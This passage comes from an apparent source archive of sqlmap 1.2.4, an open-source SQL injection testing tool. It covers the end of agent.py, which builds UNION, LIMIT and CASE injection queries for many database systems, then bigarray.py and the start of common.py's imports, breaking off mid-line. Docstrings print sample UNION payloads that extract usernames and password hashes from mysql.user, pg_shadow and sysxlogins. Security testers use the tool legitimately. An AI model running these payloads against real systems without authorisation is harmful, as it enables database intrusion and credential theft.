"||'%s'" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1) concatenatedQuery += ")||'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), "\g<2>\g<1>\g<3>", concatenatedQuery) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectTop: topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1) concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s+'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'+%s+'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) elif Backend.isDbms(DBMS.ACCESS): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1) concatenatedQuery += "&'%s'" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&(SELECT " % kb.chars.start, 1) concatenatedQuery += ")&'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s&'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1) concatenatedQuery += "&'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) else: warnMsg = "applying generic concatenation (CONCAT)" singleTimeWarnMessage(warnMsg) if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += "),'%s')" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += "),'%s')" % kb.chars.stop elif fieldsSelectFrom: _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += "),'%s')" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) return concatenatedQuery def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): """ Take in input an query (pseudo query) string and return its processed UNION ALL SELECT query. Examples: MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488 PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713 Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83)) Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738 Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254 @param query: it is a processed query string unescaped to be forged within an UNION ALL SELECT statement @type query: C{str} @param position: it is the NULL position where it is possible to inject the query @type position: C{int} @return: UNION ALL SELECT query string forged @rtype: C{str} """ if conf.uFrom: fromTable = " FROM %s" % conf.uFrom elif not fromTable: if kb.tableFrom: fromTable = " FROM %s" % kb.tableFrom else: fromTable = FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "") if query.startswith("SELECT "): query = query[len("SELECT "):] unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix) if limited: unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count)) unionQuery += fromTable unionQuery = self.suffixQuery(unionQuery, comment, suffix) return unionQuery else: _ = zeroDepthSearch(query, " FROM ") if _: fromTable = query[_[0]:] if fromTable and query.endswith(fromTable): query = query[:-len(fromTable)] topNumRegex = re.search(r"\ATOP\s+([\d]+)\s+", query, re.I) if topNumRegex: topNum = topNumRegex.group(1) query = query[len("TOP %s " % topNum):] unionQuery += "TOP %s " % topNum intoRegExp = re.search(r"(\s+INTO (DUMP|OUT)FILE\s+'(.+?)')", query, re.I) if intoRegExp: intoRegExp = intoRegExp.group(1) query = query[:query.index(intoRegExp)] position = 0 char = NULL for element in xrange(0, count): if element > 0: unionQuery += ',' if element == position: unionQuery += query else: unionQuery += char if fromTable and not unionQuery.endswith(fromTable): unionQuery += fromTable if intoRegExp: unionQuery += intoRegExp if multipleUnions: unionQuery += " UNION ALL SELECT " for element in xrange(count): if element > 0: unionQuery += ',' if element == position: unionQuery += multipleUnions else: unionQuery += char if fromTable: unionQuery += fromTable unionQuery = self.suffixQuery(unionQuery, comment, suffix) return unionQuery def limitCondition(self, expression, dump=False): startLimit = 0 stopLimit = None limitCond = True topLimit = re.search(r"TOP\s+([\d]+)\s+", expression, re.I) limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) if hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query2"): limitRegExp2 = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query2, expression, re.I) else: limitRegExp2 = None if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): if limitRegExp: startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) elif limitRegExp2: startLimit = 0 stopLimit = limitRegExp2.group(int(limitGroupStart)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif topLimit: startLimit = 0 stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 elif Backend.isDbms(DBMS.ORACLE): limitCond = False # We assume that only queries NOT containing a "LIMIT #, 1" # (or equivalent depending on the back-end DBMS) can return # multiple entries if limitCond: if (limitRegExp or limitRegExp2) and stopLimit is not None: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or equivalent, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): stopLimit += startLimit if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0: _ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) else: _ = re.search(r"\bLIMIT\b", expression, re.I).start() expression = expression[:_] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit elif dump: if conf.limitStart: startLimit = conf.limitStart - 1 if conf.limitStop: stopLimit = conf.limitStop return expression, limitCond, topLimit, startLimit, stopLimit def limitQuery(self, num, query, field=None, uniqueField=None): """ Take in input a query string and return its limited query string. Example: Input: SELECT user FROM mysql.users Output: SELECT user FROM mysql.users LIMIT , 1 @param num: limit number @type num: C{int} @param query: query to be processed @type query: C{str} @param field: field within the query @type field: C{list} @return: limited query string @rtype: C{str} """ if " FROM " not in query: return query limitedQuery = query limitStr = queries[Backend.getIdentifiedDbms()].limit.query fromIndex = limitedQuery.index(" FROM ") untilFrom = limitedQuery[:fromIndex] fromFrom = limitedQuery[fromIndex + 1:] orderBy = None if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr elif Backend.isDbms(DBMS.HSQLDB): match = re.search(r"ORDER BY [^ ]+", limitedQuery) if match: limitedQuery = re.sub(r"\s*%s\s*" % match.group(0), " ", limitedQuery).strip() limitedQuery += " %s" % match.group(0) if query.startswith("SELECT "): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery = limitedQuery.replace("SELECT ", "SELECT %s " % limitStr, 1) else: limitStr = queries[Backend.getIdentifiedDbms()].limit.query2 % (1, num) limitedQuery += " %s" % limitStr if not match: match = re.search(r"%s\s+(\w+)" % re.escape(limitStr), limitedQuery) if match: orderBy = " ORDER BY %s" % match.group(1) elif Backend.isDbms(DBMS.FIREBIRD): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1) limitedQuery += " %s" % limitStr elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): if " ORDER BY " not in limitedQuery: limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT") elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery: limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] if query.startswith("SELECT "): delimiter = queries[Backend.getIdentifiedDbms()].delimiter.query limitedQuery = "%s FROM (%s,%s" % (untilFrom, untilFrom.replace(delimiter, ','), limitStr) else: limitedQuery = "%s FROM (SELECT %s,%s" % (untilFrom, ','.join(f for f in field), limitStr) limitedQuery = safeStringFormat(limitedQuery, (fromFrom,)) limitedQuery += "=%d" % (num + 1) elif Backend.isDbms(DBMS.MSSQL): forgeNotIn = True if " ORDER BY " in limitedQuery: orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):] limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] notDistincts = re.findall(r"DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I) for notDistinct in notDistincts: limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct) limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct) if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "): topNums = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, limitedQuery, re.I) if topNums: topNums = topNums.groups() quantityTopNums = topNums[0] limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1) startTopNums = topNums[1] limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num) forgeNotIn = False else: topNum = re.search(r"TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1) limitedQuery = limitedQuery.replace("TOP %s " % topNum, "") if forgeNotIn: limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1) if " ORDER BY " not in fromFrom: # Reference: http://vorg.ca/626-the-MS-SQL-equivalent-to-MySQLs-limit-command if " WHERE " in limitedQuery: limitedQuery = "%s AND %s " % (limitedQuery, self.nullAndCastField(uniqueField or field)) else: limitedQuery = "%s WHERE %s " % (limitedQuery, self.nullAndCastField(uniqueField or field)) limitedQuery += "NOT IN (%s" % (limitStr % num) limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or "1", uniqueField or "1") else: match = re.search(r" ORDER BY (\w+)\Z", query) field = match.group(1) if match else field if " WHERE " in limitedQuery: limitedQuery = "%s AND %s " % (limitedQuery, field) else: limitedQuery = "%s WHERE %s " % (limitedQuery, field) limitedQuery += "NOT IN (%s" % (limitStr % num) limitedQuery += "%s %s)" % (field, fromFrom) if orderBy: limitedQuery += orderBy return limitedQuery def forgeQueryOutputLength(self, expression): lengthQuery = queries[Backend.getIdentifiedDbms()].length.query select = re.search(r"\ASELECT\s+", expression, re.I) selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I) _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression) if selectTopExpr or selectMinMaxExpr: lengthExpr = lengthQuery % ("(%s)" % expression) elif select: lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1) else: lengthExpr = lengthQuery % expression return unescaper.escape(lengthExpr) def forgeCaseStatement(self, expression): """ Take in input a query string and return its CASE statement query string. Example: Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y' Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END) @param expression: expression to be processed @type num: C{str} @return: processed expression @rtype: C{str} """ caseExpression = expression if Backend.getIdentifiedDbms() is not None: caseExpression = queries[Backend.getIdentifiedDbms()].case.query % expression if "(IIF" not in caseExpression and Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not caseExpression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): caseExpression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] return caseExpression def addPayloadDelimiters(self, value): """ Adds payload delimiters around the input string """ return "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER) if value else value def removePayloadDelimiters(self, value): """ Removes payload delimiters from inside the input string """ return value.replace(PAYLOAD_DELIMITER, '') if value else value def extractPayload(self, value): """ Extracts payload from inside of the input string """ _ = re.escape(PAYLOAD_DELIMITER) return extractRegexResult(r"(?s)%s(?P.*?)%s" % (_, _), value) def replacePayload(self, value, payload): """ Replaces payload inside the input string with a given payload """ _ = re.escape(PAYLOAD_DELIMITER) return re.sub(r"(?s)(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value def runAsDBMSUser(self, query): if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query: query = getSQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''")) return query def whereQuery(self, query): if conf.dumpWhere and query: prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "") if "%s)" % conf.tbl.upper() in prefix.upper(): prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) elif re.search(r"(?i)\bWHERE\b", prefix): prefix += " AND %s" % conf.dumpWhere else: prefix += " WHERE %s" % conf.dumpWhere query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix return query # SQL agent agent = Agent() sqlmap-1.2.4/lib/core/bigarray.py000066400000000000000000000131011326012263700166610ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: import cPickle as pickle except: import pickle import bz2 import itertools import os import sys import tempfile from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapSystemException from lib.core.settings import BIGARRAY_CHUNK_SIZE from lib.core.settings import BIGARRAY_COMPRESS_LEVEL DEFAULT_SIZE_OF = sys.getsizeof(object()) def _size_of(object_): """ Returns total size of a given object_ (in bytes) """ retval = sys.getsizeof(object_, DEFAULT_SIZE_OF) if isinstance(object_, dict): retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(object_.items())) elif hasattr(object_, "__iter__"): retval += sum(_size_of(_) for _ in object_) return retval class Cache(object): """ Auxiliary class used for storing cached chunks """ def __init__(self, index, data, dirty): self.index = index self.data = data self.dirty = dirty class BigArray(list): """ List-like class used for storing large amounts of data (disk cached) """ def __init__(self, items=[]): self.chunks = [[]] self.chunk_length = sys.maxint self.cache = None self.filenames = set() self._os_remove = os.remove self._size_counter = 0 for item in items: self.append(item) def append(self, value): self.chunks[-1].append(value) if self.chunk_length == sys.maxint: self._size_counter += _size_of(value) if self._size_counter >= BIGARRAY_CHUNK_SIZE: self.chunk_length = len(self.chunks[-1]) self._size_counter = None if len(self.chunks[-1]) >= self.chunk_length: filename = self._dump(self.chunks[-1]) self.chunks[-1] = filename self.chunks.append([]) def extend(self, value): for _ in value: self.append(_) def pop(self): if len(self.chunks[-1]) < 1: self.chunks.pop() try: with open(self.chunks[-1], "rb") as f: self.chunks[-1] = pickle.loads(bz2.decompress(f.read())) except IOError, ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex.message raise SqlmapSystemException(errMsg) return self.chunks[-1].pop() def index(self, value): for index in xrange(len(self)): if self[index] == value: return index return ValueError, "%s is not in list" % value def _dump(self, chunk): try: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY) self.filenames.add(filename) os.close(handle) with open(filename, "w+b") as f: f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) return filename except (OSError, IOError), ex: errMsg = "exception occurred while storing data " errMsg += "to a temporary file ('%s'). Please " % ex.message errMsg += "make sure that there is enough disk space left. If problem persists, " errMsg += "try to set environment variable 'TEMP' to a location " errMsg += "writeable by the current user" raise SqlmapSystemException(errMsg) def _checkcache(self, index): if (self.cache and self.cache.index != index and self.cache.dirty): filename = self._dump(self.cache.data) self.chunks[self.cache.index] = filename if not (self.cache and self.cache.index == index): try: with open(self.chunks[index], "rb") as f: self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False) except IOError, ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex.message raise SqlmapSystemException(errMsg) def __getstate__(self): return self.chunks, self.filenames def __setstate__(self, state): self.__init__() self.chunks, self.filenames = state def __getslice__(self, i, j): i = max(0, len(self) + i if i < 0 else i) j = min(len(self), len(self) + j if j < 0 else j) return BigArray(self[_] for _ in xrange(i, j)) def __getitem__(self, y): if y < 0: y += len(self) index = y / self.chunk_length offset = y % self.chunk_length chunk = self.chunks[index] if isinstance(chunk, list): return chunk[offset] else: self._checkcache(index) return self.cache.data[offset] def __setitem__(self, y, value): index = y / self.chunk_length offset = y % self.chunk_length chunk = self.chunks[index] if isinstance(chunk, list): chunk[offset] = value else: self._checkcache(index) self.cache.data[offset] = value self.cache.dirty = True def __repr__(self): return "%s%s" % ("..." if len(self.chunks) > 1 else "", self.chunks[-1].__repr__()) def __iter__(self): for i in xrange(len(self)): yield self[i] def __len__(self): return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1]) sqlmap-1.2.4/lib/core/common.py000066400000000000000000004511201326012263700163600ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import codecs import contextlib import cookielib import copy import distutils import getpass import hashlib import httplib import inspect import json import locale import logging import ntpath import os import platform import posixpath import random import re import socket import string import subprocess import sys import tempfile import threading import time import types import urllib import urllib2 import urlparse import unicodedata from ConfigParser import DEFAULTSECT from ConfigParser import RawConfigParser from StringIO import StringIO from difflib import SequenceMatcher from math import sqrt from optparse import OptionValueError from xml.dom import minidom from xml.sax import parse from xml.sax import SAXParseException from extra.beep.beep import beep from extra.cloak.cloak import decloak from extra.safe2bin.safe2bin import safecharencode from lib.core.bigarray import BigArray from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.convert import base64pickle from lib.core.convert import base64unpickle from lib.core.convert import hexdecode from lib.core.convert import htmlunescape from lib.core.convert import stdoutencode from lib.core.convert import unicodeencode from lib.core.convert import utf8encode from lib.core.decorators import cachedmethod from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT from lib.core.dicts import DEFAULT_DOC_ROOTS from lib.core.dicts import DEPRECATED_OPTIONS from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CONTENT_STATUS from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import LOGGING_LEVELS from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import OPTION_TYPE from lib.core.enums import OS from lib.core.enums import PLACE from lib.core.enums import PAYLOAD from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import SORT_ORDER from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapInstallationException from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapValueException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict from lib.core.settings import BANNER from lib.core.settings import BOLD_PATTERNS from lib.core.settings import BOUNDED_INJECTION_MARKER from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK from lib.core.settings import DBMS_DIRECTORY_DICT from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_MSSQL_SCHEMA from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_USER_INJECTION from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH from lib.core.settings import ERROR_PARSING_REGEXES from lib.core.settings import FILE_PATH_REGEXES from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME from lib.core.settings import FORM_SEARCH_REGEX from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES from lib.core.settings import GIT_PAGE from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import HASHDB_MILESTONE_VALUE from lib.core.settings import HOST_ALIASES from lib.core.settings import IGNORE_SAVE_OPTIONS from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT from lib.core.settings import IP_ADDRESS_REGEX from lib.core.settings import ISSUES_PAGE from lib.core.settings import IS_WIN from lib.core.settings import LARGE_OUTPUT_THRESHOLD from lib.core.settings import LOCALHOST from lib.core.settings import MIN_ENCODED_LEN_CHECK from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import MIN_VALID_DELAYED_RESPONSE from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES from lib.core.settings import NULL from lib.core.settings import PARAMETER_AMP_MARKER from lib.core.settings import PARAMETER_SEMICOLON_MARKER from lib.core.settings import PARTIAL_HEX_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PLATFORM from lib.core.settings import PRINTABLE_CHAR_REGEX from lib.core.settings import PUSH_VALUE_EXCEPTION_RETRY_COUNT from lib.core.settings import PYVERSION from lib.core.settings import REFERER_ALIASES from lib.core.settings import REFLECTED_BORDER_REGEX from lib.core.settings import REFLECTED_MAX_REGEX_PARTS from lib.core.settings import REFLECTED_REPLACEMENT_REGEX from lib.core.settings import REFLECTED_REPLACEMENT_TIMEOUT from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import REFLECTIVE_MISS_THRESHOLD from lib.core.settings import SAFE_VARIABLE_MARKER from lib.core.settings import SENSITIVE_DATA_REGEX from lib.core.settings import SENSITIVE_OPTIONS from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import TEXT_TAG_REGEX from lib.core.settings import TIME_STDEV_COEFF from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_QUESTION_MARKER from lib.core.settings import URLENCODE_CHAR_LIMIT from lib.core.settings import URLENCODE_FAILSAFE_CHARS from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import VERSION_STRING from lib.core.threads import getCurrentThreadData from lib.utils.sqlalchemy import _sqlalchemy from thirdparty.clientform.clientform import ParseResponse from thirdparty.clientform.clientform import ParseError from thirdparty.colorama.initialise import init as coloramainit from thirdparty.magic import magic from thirdparty.odict.odict import OrderedDict from thirdparty.termcolor.termcolor import colored class UnicodeRawConfigParser(RawConfigParser): """ RawConfigParser with unicode writing support """ def write(self, 